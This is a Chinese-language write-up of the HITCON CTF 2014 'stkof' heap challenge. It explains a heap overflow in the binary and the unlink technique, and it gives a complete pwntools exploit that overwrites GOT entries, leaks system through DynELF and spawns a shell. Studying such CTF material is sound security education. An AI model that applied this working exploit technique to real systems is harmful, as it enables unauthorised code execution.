题目描述 题目来源:HITCON CTF 2014 知识点:unlink 这道题没有菜单显示,只能通过分析代码来了解程序功能。
功能:
添加(输入:长度) 修改(输入:索引、长度、内容) 删除(输入:索引) 程序保护情况:
1 2 3 4 5 6 [*] '/home/nick/pwn_learn/heapLearn/unlink/hitcon2014_stkof/stkof' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
程序分析 add函数中,对分配chunk的大小没有限制,将指针存到全局数组 中,可获得指针变量的地址
set函数中,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 signed __int64 set () { signed __int64 result; int i; unsigned int v2; __int64 n; char *ptr; char s; unsigned __int64 v6; v6 = __readfsqword(0x28 u); fgets(&s, 16 , stdin ); v2 = atol(&s); if ( v2 > 0x100000 ) return 0xFFFFFFFF LL; if ( !::s[v2] ) return 0xFFFFFFFF LL; fgets(&s, 16 , stdin ); n = atoll(&s); ptr = ::s[v2]; for ( i = fread(ptr, 1u LL, n, stdin ); i > 0 ; i = fread(ptr, 1u LL, n, stdin ) ) { ptr += i; n -= i; } if ( n ) result = 0xFFFFFFFF LL; else result = 0L L; return result; }
对写入的长度没有限制,存在堆溢出 ,所以可以利用unlink漏洞
delete函数中,释放掉堆块并把指针清零0
由于程序中没有可以用来输出数据的函数,于是考虑将puts函数覆写到其他函数的got表(这里选择free函数)
漏洞利用 分配连续4个chunk(编号1-4),大小为0x80(smallchunk)(通常尽量多申请一个chunk,以隔开top chunk,防止被合并) 在chunk1中构造fake chunk,准备unlink prevsize:0
size:0x80
fd:chunk_ptr - 0x18
bk:chunk_ptr - 0x10
注意:chunk_ptr是指向chunk0的指针变量所在的地址
,而非指针指向的地址 从chunk1继续溢出到chunk2,修改prevsize、size(inuse位)prevsize: 0x80
size:0x90
释放chunk2,触发unlink,此后chunk1的指针的值被修改为了chunk_ptr-0x18 把free的got表修改为puts。payload = p64(0)*3 + p64(chunk_ptr-0x18) + p64(free_got)
set(1, payload)
set(2, p64(puts))
使用DynELF泄露system(详见代码) 利用(5)的方法,再将free的got表修改为system 向chunk3中写入/bin/sh\x00
,释放chunk3,getshell 我的exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] p = process('./stkof' ) elf = ELF('./stkof' ) free_got = elf.got['free' ] puts = elf.symbols['puts' ] def add (size) : p.sendline('1' ) p.sendline(str(size)) p.recvuntil('OK\n' ) def set (index, content) : p.sendline('2' ) p.sendline(str(index)) p.sendline(str(len(content))) p.send(content) p.recvuntil('\n' ) def delete (index) : p.sendline('3' ) p.sendline(str(index)) def leak (addr) : payload = p64(0 )*3 + p64(chunk_ptr-0x18 ) + p64(addr) set(1 , payload) delete(2 ) res = p.recvuntil('OK\n' ).split('\x0aOK' )[0 ] if res == '' : res = '\x00' return res chunk_ptr = 0x602148 add(0x80 ) add(0x80 ) add(0x80 ) add(0x80 ) payload = p64(0 ) + p64(0x0 ) payload += p64(chunk_ptr-0x18 ) + p64(chunk_ptr-0x10 ) payload += 'a' * 0x60 payload += p64(0x80 ) + p64(0x90 ) set(1 , payload) delete(2 ) p.recvuntil('OK\n' ) payload = p64(0 )*3 + p64(chunk_ptr-0x18 ) + p64(free_got) set(1 , payload) set(2 , p64(puts)) d = DynELF(leak, elf = elf) system = d.lookup('system' , 'libc' ) print "system addr: %#x" % systempayload = p64(0 )*3 + p64(chunk_ptr-0x18 ) + p64(free_got) set(1 , payload) set(2 , p64(system)) set(3 , '/bin/sh\x00' ) delete(3 ) p.interactive()
相关链接 题目链接:stkof 相关题目:unlink例题 unlink漏洞分析:堆利用学习之unlink